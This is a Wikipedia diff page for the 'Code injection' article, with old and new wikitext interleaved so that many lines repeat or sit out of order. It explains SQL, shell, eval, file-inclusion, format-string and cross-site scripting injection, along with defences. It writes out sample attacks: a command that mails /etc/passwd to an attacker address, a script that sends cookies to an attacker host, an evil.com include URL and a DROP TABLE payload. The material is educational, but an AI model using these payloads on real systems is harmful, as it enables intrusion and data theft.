Code injection: Difference between revisions

From Wikipedia, the free encyclopedia
Content deleted Content added
No edit summary
m fix capitalization
Tags: Visual edit Mobile edit Mobile web edit Advanced mobile edit
 
(588 intermediate revisions by more than 100 users not shown)
Line 1: Line 1:
{{Short description|Computer bug exploit caused by invalid data}}
'''Code injection''' is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.
{{distinguish|Dependency injection}}
{{Use dmy dates|date=June 2020}}


'''Code injection''' is the exploitation of a [[computer bug]] that is caused by processing invalid data. The injection is used by an [[Hacker (computer security)|attacker]] to introduce (or "inject") [[Source code|code]] into a vulnerable [[computer program]] and change the course of [[Execution (computing)|execution]]. The result of successful code injection can be disastrous, for example, by allowing [[computer virus]]es or [[computer worm]]s to propagate.


Code injection vulnerabilities occur when an application sends untrusted data to an [[interpreter (computing)|interpreter]]. Injection flaws are most often found in [[SQL]], [[LDAP]], [[XPath]], [[NoSQL]] queries, OS commands, [[XML]] [[parser]]s, [[SMTP]] headers, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than via testing.<ref>{{Cite web|url=http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php|title=Top 10 Web Application Security Vulnerabilities|website=Penn Computing|publisher=University of Pennsylvania|access-date=10 December 2016|archive-url=https://web.archive.org/web/20180224034000/http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php|archive-date=24 February 2018|url-status=dead}}</ref> Scanners and [[fuzzer]]s can help find injection flaws.<ref name=OWASP10_A1>{{cite web|title=OWASP Top 10 2013 A1: Injection Flaws|url=https://www.owasp.org/index.php/Top_10_2013-A1-Injection|publisher=OWASP|access-date=19 December 2013}}</ref>


Injection can result in [[data loss]] or corruption, lack of accountability, or [[denial-of-service attack|denial of access]]. Injection can sometimes lead to complete host takeover.
'''A simple Code injection example:''' a web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
<nowiki>Amy was here! Nice site!</nowiki>
However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as
<nowiki>; cat /etc/passwd | mail attacker@attacker.com #</nowiki>
in order to inject code into the "Guest book" which steals the [[passwd]] file from the web server and e-mail it to attacker.


Certain types of code injection are errors in interpretation, giving special meaning to user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine ''[[Who's on First?]]''. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.


Code injection techniques are popular in system [[Hacker (computer security)|hacking]] or [[security cracking|cracking]] to gain information, [[privilege escalation]] or unauthorized access to a system. Code injection can be used malevolently for many purposes, including:
* Arbitrarily modifying values in a [[database]] through [[SQL injection]]. The impact of this can range from [[website defacement]] to serious compromise of sensitive data.
* Installing [[malware]] or executing malevolent code on a server by injecting server scripting code (such as [[PHP]] or [[Active Server Pages|ASP]]).
* [[Privilege escalation]] to [[Superuser|root]] permissions by exploiting shell injection vulnerabilities in a [[Setuid|setuid root]] binary on UNIX, or [[Superuser|Local System]] by exploiting a service on [[Microsoft Windows]].
* Attacking web users with [[HTML]]/script injection ([[Cross-site scripting]]).
Code injection attacks in [[Internet of things|Internet of Things]] could also lead to severe consequences like data breaches and service disruption.<ref>{{Cite journal |last1=Noman |first1=Haitham Ameen |last2=Abu-Sharkh |first2=Osama M. F. |date=January 2023 |title=Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations |journal=Sensors |language=en |volume=23 |issue=13 |pages=6067 |doi=10.3390/s23136067 |pmid=37447915 |pmc=10346793 |bibcode=2023Senso..23.6067N |issn=1424-8220 |doi-access=free }}</ref>


In 2008, 5.66% of all vulnerabilities reported that year were classified as code injection, the highest year on record. In 2015, this had decreased to 0.77%.<ref>{{Cite web|url=http://web.nvd.nist.gov/view/vuln/statistics|title=NVD - Statistics Search|website=web.nvd.nist.gov|access-date=2016-12-09}}</ref>
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to an program includes:
* assuming that [[Metacharacter|metacharacters]] for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
* assuming only numeric characters will be entered as input
* assuming the input will never exceed a certain size
* assuming that numeric values are equal or less than upper bound
* assuming that numeric values are equal or greater than lower bound
* assuming that client supplied values set by server (such as hidden [[Form (web)|form]] fields or [[HTTP Cookie|cookies]]), cannot be modified by client. This assumption ignores known attacks such as [[HTTP Cookie|Cookie poisioning]], in which values are set arbitrarily by malicious clients.
* assuming that it is okay to pick pointers or array indexes from input
* assuming an input would never provide false information about itself or related values, such as the size of a file (*).


==Benign and unintentional use==
The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.
Code injection may be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without any malicious intent.<ref>{{Cite web|last=Srinivasan|first=Raghunathan|title=Towards More Effective Virus Detectors|url=http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf|work=Arizona State University|access-date=18 September 2010|quote=Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.|url-status=dead|archive-url=https://web.archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf|archive-date=29 July 2010}}</ref><ref>{{cite book | last1=Morales | first1=Jose Andre | last2=Kartaltepe | first2=Erhan | last3=Xu | first3=Shouhuai | last4=Sandhu | first4=Ravi | title=Computer Network Security | series=Lecture Notes in Computer Science | volume=6258 | pages=229–241 | chapter=Symptoms-Based Detection of Bot Processes | publisher=Springer | location=Berlin, Heidelberg | year=2010 | isbn=978-3-642-14705-0 | issn=0302-9743 | doi=10.1007/978-3-642-14706-7_18| citeseerx=10.1.1.185.2152 }}</ref> Code injection could, for example:
* Introduce a useful new column that did not appear in the original design of a search results page.
* Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
* As regards programs like [[Dropbox (service)|Dropbox]], add special parts that could be used to connect to online resources in an offline program.
* Utilize the Linux Dynamic Linker to define a function with the same name as certain [[libc]] functions, link that function as a library, and override the use of the libc function.<ref>{{Cite web|url=https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/|title=Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs|date=2013-04-02|website=Rafał Cieślak's blog|access-date=2016-12-10}}</ref>


(*) Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a [[buffer overrun]] in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.

== Uses of Code Injection ==
=== Intentional Use ===
==== Malevolent ====
Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system [[Computer hacking|hacking]] or [[security cracking|cracking]] to gain information, [[Privilege escalation]] or unauthorised access to a system.

Code injection can be used malevolently to:
* Arbitrarily modify values in a database through a type of code injection called [[SQL injection]]. The impact of this can range from [[Defacement (vandalism)|defacement]] of a web site to serious comprimisation of sensitive data.
* Install [[malware]] on a computer by exploiting code injection vulnerabilities in a web browser or it's plugins when the user visits a malicious site.
* Install [[malware]] or execute malevolent code on a server, by '''PHP''' or '''ASP Injection'''.
* [[Privilege escalation]] to [[Superuser|root]] permissions by exploiting '''Shell Injection''' vulnerabilities in a [[Setuid|setuid root]] binary on UNIX.
* [[Privilege escalation]] to [[Superuser|Local System]] permissions by exploiting '''Shell Injection''' vulnerabilities in a service on Windows.
* Stealing sessions/cookies from web browsers using '''HTML/Script Injection''' ([[XSS|Cross Site Scripting]]).

==== Benevolent ====
Code injection may be used with relatively good intention in some cases. For example, a user who wishes to change or tweak the behavior of a program or system to meet their needs might use code injection to trick the system into behaving the way they would like without "hurting anyone". For example:
* Include a column in a search results page that wasn't included in the original design but saves a bunch of work now.
* Filter, order, or group data by a field not exposed in the default functionality.

Typically, users resort to this sort of work-around for one of these reasons:
* Modifying the software to function as desired is impossible, or
* Modifying the software is prohibitively costly, or
* Modifying the software is a frustratingly painful process.

This use of code injection is heavily frowned upon by the development community as a whole, and is typically called a kludge or [[Hack (technology slang)|hack]].

Some software products allow or even promote the use of code injection to "enhance" their products. Usually this is because the code injection solution is less expensive to implement than new or specialized product features. The side effects and unaccounted implications of this can be very dangerous.

In general, the well-intentioned use of code injection is discouraged.

=== Unintentional Use ===
Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:
Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:
* What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
* What the user may consider a valid input may contain token characters or [[character string]]s that have been [[reserved word|reserved]] by the developer to have special meaning (perhaps the "&" in "Shannon & Jason," or quotation marks as in "Bub 'Slugger' McCracken").
* The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.
* The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.
Another benign use of code injection could be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as a [[White hat (computer security)|white hat]] [[penetration test]].


== Preventing Code Injection ==
==Preventing problems==
To prevent code injection problems, utilize secure input and output handling, such as:
* Using APIs that, if used properly, are secure against all input characters. Parameterized queries (also known as "Compiled queries", "prepared statements", "bound variables") allows for moving user data out of string to be interpreted. Additionally Criteria API<ref>{{cite web|title=The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries|url=http://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html|publisher=Oracle|access-date=19 December 2013}}</ref> and similar APIs move away from the concept of command strings to be created and interpreted.
* Enforcing language separation via a [[Type system|static type system]].<ref name="types">{{cite web | last=Moertel | first=Tom | title=A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes? | website=Tom Moertel’s Blog | date=2006-10-18 | url=http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html | access-date=2018-10-21}}</ref>
* Input validation, such as [[whitelisting]] only known good values, this can be done on client side using JavaScript for example or it can be done on the server side which is more secure.
* Input encoding, e.g. escaping dangerous characters. For instance, in PHP, using the <code>htmlspecialchars()</code> function to escape special characters for safe output of text in HTML, and <code>mysqli::real_escape_string()</code> to isolate data which will be included in an SQL request, to protect against SQL Injection.
* Output encoding, i.e. preventing [[Cross Site Scripting|HTML Injection (XSS)]] attacks against web site visitors
* <code>HttpOnly</code> is a flag for [[HTTP cookie|HTTP Cookies]] that, when set, does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.<ref>{{Cite web|url=https://www.owasp.org/index.php/HttpOnly|title=HttpOnly|date=12 November 2014|website=OWASP|access-date=10 December 2016}}</ref>
* Modular shell disassociation from kernel
* With SQL Injection, one can use [[parameterized query|parameterized queries]], [[stored procedure]]s, whitelist input validation, and more to help mitigate Code Injection problems.<ref>{{Cite web|url=https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet|title=SQL Injection Prevention Cheat Sheet|website=OWASP|access-date=10 December 2016}}</ref>


The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
To prevent Code Injection problems, utilize [[Secure input and output handling]], such as:
* Runtime image hash validation – capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
* Input validation
* [[NX bit]] – all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.
* Input encoding
* [[Buffer overflow protection#Canaries|Canaries]] – randomly place values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a [[Stack buffer overflow|Stack Overflow Attack]].
* Output encoding
* [In C]Code Pointer Masking (CPM) – after loading a (potentially changed) code pointer into a register, apply a [[Mask (computing)|bitmask]] to the pointer. This effectively restricts the addresses to which the pointer can refer.<ref>{{cite journal | last1=Philippaerts | first1=Pieter | last2=Younan | first2=Yves | last3=Muylle | first3=Stijn | last4=Piessens | first4=Frank | last5=Lachmund | first5=Sven | last6=Walter | first6=Thomas | title=CPM: Masking Code Pointers to Prevent Code Injection Attacks | journal=ACM Transactions on Information and System Security | volume=16 | issue=1 | date=2013-06-01 | issn=1094-9224 | doi=10.1145/2487222.2487223 | pages=1–27 | s2cid=10947780 |url=http://fort-knox.org/files/tissec.pdf|display-authors=1}}</ref>
* Other coding practices which are not prone to Code Injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").


== Examples of Code Injection ==
==Examples==
=== SQL Injection ===


===SQL injection===
[[SQL Injection]] takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
{{Main|SQL injection}}
SQL injection takes advantage of the syntax of SQL to inject malicious commands that can read or modify a database, or compromise the meaning of the original query.<ref>{{Cite journal |last1=Zhuo |first1=Z. |last2=Cai |first2=T. |last3=Zhang |first3=X. |last4=Lv |first4=F. |date=2021-03-12 |title=Long short‐term memory on abstract syntax tree for SQL injection detection |url=https://onlinelibrary.wiley.com/doi/10.1049/sfw2.12018 |journal=IET Software |language=en |volume=15 |issue=2 |pages=188–197 |doi=10.1049/sfw2.12018 |s2cid=233582569 |issn=1751-8806}}</ref>


For example, consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a [[SQL]] query to check the Password against the list of Usernames:
For example, consider a web page that has two fields to allow users to enter a user name and a password. The code behind the page will generate a [[SQL]] query to check the password against the list of user names:
<syntaxhighlight lang="SQL">
SELECT UserList.Username
FROM UserList
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
AND UserList.Password = 'Password'
</syntaxhighlight>
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (<code>password' OR '1'='1</code>) in the Password field, then the resulting query will look like this:
<syntaxhighlight lang="sql">
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
</syntaxhighlight>
In the example above, "Password" is assumed to be blank or some innocuous string. "<code>'1'='1'</code>" will always be true and many rows will be returned, thereby allowing access.


The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'


Assume a query with the following format:<syntaxhighlight lang="sql">
In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '
</syntaxhighlight>If an adversary has the following for inputs:


<code>UserID: ';DROP TABLE User; --'</code>
=== PHP Injection ===


<code>Password: 'OR"='</code>
"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is [http://www.php.net/ PHP].


the query will be parsed to be:<syntaxhighlight lang="sql">
In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.
SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
</syntaxhighlight>


The result is that the table <code>User</code> will be removed from the database. This occurs because the <code>;</code> symbol signifies the end of one command and the start of a new one. <code>--</code> signifies the start of a comment.
=== Dynamic Evaluation Vulnerabilities ===


=== Cross-site scripting ===
Steven M. Christey of [http://www.mitre.org mitre.org] suggests this name for a class of code injection vulnerabilities.
{{Main|Cross-site scripting}}
Code injection is the malicious injection or introduction of code into an application. Some [[web server]]s have a [[guestbook]] script, which accepts small messages from users, and typically receives messages such as:
<nowiki>Very nice site!</nowiki>
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as:
<syntaxhighlight lang="html">Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight>
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.


HTML and script injection is a popular subject, commonly termed "[[cross-site scripting]]" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.
==== Dynamic Evaluation Vulnerabilities - Eval Injection ====


Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.<ref name=HopeWalther>{{cite book|last1=Hope|first1=Brian|last2=Hope|first2=Paco|last3=Walther|first3=Ben|title=Web Security Testing Cookbook|url=https://archive.org/details/websecuritytesti00hope|url-access=registration|date=15 May 2009|publisher=[[O'Reilly Media]]|location=Sebastopol, CA|isbn=978-0-596-51483-9|page=[https://archive.org/details/websecuritytesti00hope/page/254 254]|oclc=297573828}}</ref>
As defined in [http://seclists.org/lists/fulldisclosure/2006/May/0035.html "Dynamic Evaluation Vulnerabilities in PHP applications"]:
* An eval injection vulnerability occurs when an attacker can control
all or part of an input string that is fed into an eval() function
call. Eval will execute the argument as code. The security
implications for this are obvious. This issue has been known for
years, but it is still under-researched.


=== Server Side Template Injection ===
Example:
[[Web template system|Template engines]] are often used in modern [[Web application]] to display dynamic data. However, trusting non validated user data can frequently lead to critical vulnerabilities<ref>{{Cite web |date=2015-08-05 |title=Server-Side Template Injection |url=https://portswigger.net/research/server-side-template-injection |access-date=2022-05-22 |website=PortSwigger Research}}</ref> such as Server Side Template Injections. While this vulnerability is similar to [[Cross-site scripting]], template injection can be leverage to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications which often use user inputs and templates to render a web page. The example below shows the concept. Here the template <code><nowiki>{{visitor_name}}</nowiki></code> is replaced with data during the rendering process.<syntaxhighlight lang="html">
<pre><nowiki>
Hello {{visitor_name}}
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
</nowiki></pre>
What happens if arg is set to "10 ; system(\"/bin/echo uh-oh\");" ?


</syntaxhighlight>An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious <code>visitor_name</code>. Depending on the implementation of the web application, he could choose to inject <code><nowiki>{{7*'7'}}</nowiki></code> which the renderer could resolve to <code>Hello 7777777</code>. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to [[Remote code execution]].
==== Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation ====


===Dynamic evaluation vulnerabilities===
As defined in [http://seclists.org/lists/fulldisclosure/2006/May/0035.html "Dynamic Evaluation Vulnerabilities in PHP applications"]:
An <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> function
PHP supports "variable variables," which are variables or expressions
call.<ref>{{cite mailing list |url=https://seclists.org/fulldisclosure/2006/May/35 |title= Dynamic Evaluation Vulnerabilities in PHP applications |author=Steven M. Christey |date=3 May 2006 |mailing-list=Full Disclosure| access-date=2018-10-21}}</ref>
that evaluate to the names of other variables [3]. They can be used
<syntaxhighlight lang="php">
to dynamically change which variable is accessed or set during
$myvar = 'somevalue';
execution of the program. This powerful and convenient feature is
$x = $_GET['arg'];
also dangerous.
eval('$myvar = ' . $x . ';');
</syntaxhighlight>
The argument of "<code>[[eval]]</code>" will be processed as [[PHP]], so additional commands can be appended. For example, if "arg" is set to "<syntaxhighlight lang="php" inline>10; system('/bin/echo uh-oh')</syntaxhighlight>", additional code is run which executes a program on the server, in this case "<code>/bin/echo</code>".


===Object injection===
A number of applications have code such as the following:
[[PHP]] allows [[serialization]] and [[deserialization]] of whole [[object (computer science)|objects]]. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.<ref>{{cite web|title=Unserialize function warnings|url=http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes|publisher=PHP.net}}</ref> Such an attack on [[Joomla]] was found in 2013.<ref>{{cite web|title=Analysis of the Joomla PHP Object Injection Vulnerability|url=http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability|access-date=6 June 2014}}</ref>
<pre><nowiki>
$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
$$key = $value;
}
</nowiki></pre>
If the attacker provides "safevar=bad" in the query string, then
$safevar will be set to the value "bad".

==== Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation ====

The following PHP-examples will execute a function specified by request.

<pre><nowiki>
$myfunc = $_GET['myfunc'];
$myfunc();
</nowiki></pre>
and:
<pre><nowiki>
$myfunc = $_GET['myfunc'];
${"myfunc"}();
</nowiki></pre>

=== Include File Injection ===


=== Remote file injection ===
{{Main|File inclusion vulnerability}}
Consider this PHP program (which includes a file specified by request):
Consider this PHP program (which includes a file specified by request):
<syntaxhighlight lang="php">
<pre><nowiki>
<?php
<?php
$color = 'blue';
$color = 'blue';
if ( isset( $_GET[ 'COLOR' ] ) )
if (isset($_GET['color']))
$color = $_GET[ 'COLOR' ];
$color = $_GET['color'];
require( $color . '.php' );
require($color . '.php');
</syntaxhighlight>
?>
<form>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
</nowiki></pre>


The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
The example might be read as only color-files like <code>blue.php</code> and <code>red.php</code> could be loaded, while attackers might provide <code><nowiki>COLOR=http://evil.com/exploit</nowiki></code> causing PHP to load the external file.
* <code>/vulnerable.php?COLOR='''<nowiki>http://evil/exploit</nowiki>'''</code> - injects a remotely hosted file containing an exploit.
* <code>/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''</code> - injects an uploaded file containing an exploit.
* <code>/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''</code> - injects an uploaded file containing an exploit, using [[directory traversal]].
* <code>/vulnerable.php?COLOR='''C:\notes.txt%00'''</code> - example using [[Null character|NUL]] [[meta character]] to remove the <code>.php</code> suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)


=== Shell Injection ===
=== Format specifier injection ===
{{Main|Uncontrolled format string}}Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write <code>printf(buffer)</code> instead of <code>printf("%s", buffer)</code>. The first version interprets <code>buffer</code> as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended.
Shell Injection is named after [[Unix shell|Unix shells]], but applies to most systems which allows software to programmatically execute [[Command line]]. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.


Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)
Consider the following short C program that has a local variable char array <code>password</code> which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.<syntaxhighlight lang="c">
char user_input[100];
int int_in;
char password[10] = "Password1";


printf("Enter an integer\n");
<pre><nowiki>
scanf("%d", &int_in);
<HTML>
printf("Please enter a string\n");
<?php
fgets(user_input, sizeof(user_input), stdin);
passthru ( " /home/user/phpguru/funnytext "
. $_GET[ 'USER_INPUT' ] );
printf(user_input); // Safe version is: printf("%s", user_input);
?>
printf("\n");
</nowiki></pre>


return 0;
This program can be injected in multiple ways:
</syntaxhighlight>If the user input is filled with a list of format specifiers such as <code>%s%s%s%s%s%s%s%s</code> , then <code>printf()</code>will start reading from the [[Stack (abstract data type)|stack]]. Eventually, one of the <code>%s</code> format specifier will access the address of <code>password</code> , which is on the stack, and print <code>Password1</code> to the screen.
* '''`command`''' will execute '''command'''.
* '''$(command)''' will execute '''command'''.
* '''; command''' will execute '''command''', and output result of command.
* '''| command''' will execute '''command''', and output result of command.
* '''&& command''' will execute '''command''', and output result of command.
* '''|| command''' will execute '''command''', and output result of command.
* '''> /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.
* '''< /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.


===Shell injection===
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.
Shell injection (or command injection<ref>{{cite web|title= Command Injection|url= https://www.owasp.org/index.php/Command_Injection|publisher=OWASP}}</ref>) is named after [[UNIX shell script|Unix shells]], but applies to most systems which allow software to programmatically execute a [[command line]]. Here is an example vulnerable [[tcsh]] script:
<syntaxhighlight lang="tcsh">
#!/bin/tcsh
# check arg outputs it matches if arg is one
if ($1 == 1) echo it matches
</syntaxhighlight>
If the above is stored in the executable file <code>./check</code>, the shell command <code>./check&nbsp;"&nbsp;1&nbsp;)&nbsp;evil"</code> will attempt to execute the injected shell command <code>evil</code> instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack.<ref>Douglas W. Jones, CS:3620 Notes, [http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml Lecture 4 — Shell Scripts], Spring 2018.</ref>


Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are [http://linux.die.net/man/3/system <code>system()</code>], <code>StartProcess()</code>, and [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.Diagnostics.Process.Start()</code>].
=== HTML/Script Injection (Cross Site Scripting) ===


[[Client–server model|Client–server]] systems such as [[web browser]] interaction with [[web server]]s are potentially vulnerable to shell injection. Consider the following short [[PHP]] program that can run on a [[web server]] to run an external program called <code>funnytext</code> to replace a word the user sent with some other word.
HTML/Script Injection is a popular subject, commonly termed "Cross Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the outputted HTML, without being checked for HTML code or scripting.


<syntaxhighlight lang="php">
The two basic types are as follows:
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
</syntaxhighlight>


The <code>passthru</code> in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the [[URL redirection|URL]] provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):<ref>{{Cite web |url=http://blackhat.life/Command_Injection |title=Command Injection - Black Hat Library |access-date=27 February 2015 |archive-url=https://archive.today/20150227081226/http://blackhat.life/Command_Injection |archive-date=27 February 2015 |url-status=dead }}</ref>
Active (Type 1)
This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.


{| class="wikitable"
Passive (Type 2)
|-
This type is more dangerous, as the input is written to a static page, and as such, is persistent.
! Shell feature
! <code>USER_INPUT</code> value
! Resulting shell command
! Explanation
|-
| Sequential execution
| <code>; malicious_command</code>
| <code>/bin/funnytext ; malicious_command</code>
| Executes <code>funnytext</code>, then executes <code>malicious_command</code>.
|-
| [[pipeline (Unix)|Pipelines]]
| <code>&#124; malicious_command</code>
| <code>/bin/funnytext &#124; malicious_command</code>
| Sends the output of <code>funnytext</code> as input to <code>malicious_command</code>.
|-
| Command substitution
| <code>`malicious_command`</code>
| <code>/bin/funnytext `malicious_command`</code>
| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.
|-
| Command substitution
| <code>$(malicious_command)</code>
| <code>/bin/funnytext $(malicious_command)</code>
| Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>.
|-
| AND list
| <code>&& malicious_command</code>
| <code>/bin/funnytext && malicious_command</code>
| Executes <code>malicious_command</code> [[iff]] <code>funnytext</code> returns an exit status of 0 (success).
|-
| OR list
| <code>&#124;&#124; malicious_command</code>
| <code>/bin/funnytext &#124;&#124; malicious_command</code>
| Executes <code>malicious_command</code> [[iff]] <code>funnytext</code> returns a nonzero exit status (error).
|-
| Output redirection
| <code>&gt; ~/.bashrc</code>
| <code>/bin/funnytext &gt; ~/.bashrc</code>
| Overwrites the contents the <code>.bashrc</code> file with the output of <code>funnytext</code>.
|-
| Input redirection
| <code>&lt; ~/.bashrc</code>
| <code>/bin/funnytext &lt; ~/.bashrc</code>
| Sends the contents of the <code>.bashrc</code> file as input to <code>funnytext</code>.
|}


Some languages offer functions to properly escape or quote strings that are used to construct shell commands:
For more information, refer to the [[XSS|Cross Site Scripting (XSS)]] article.
* PHP: <code>[http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()]</code> and <code>[http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()]</code>
* [[Python (programming language)|Python]]: <code>[https://docs.python.org/3/library/shlex.html#shlex.quote shlex.quote()]</code>
However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.


A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.
=== ASP Injection ===
"ASP Injection", "PHP Injection" etc are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft [[Active Server Pages]], an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of '''Dynamic Evaluation Vulnerabilities''', '''Include File Injection''' or similar code injection vulnerabilities.

Example:
<pre><nowiki>
<%
If not isEmpty(Request( "username" ) ) Then
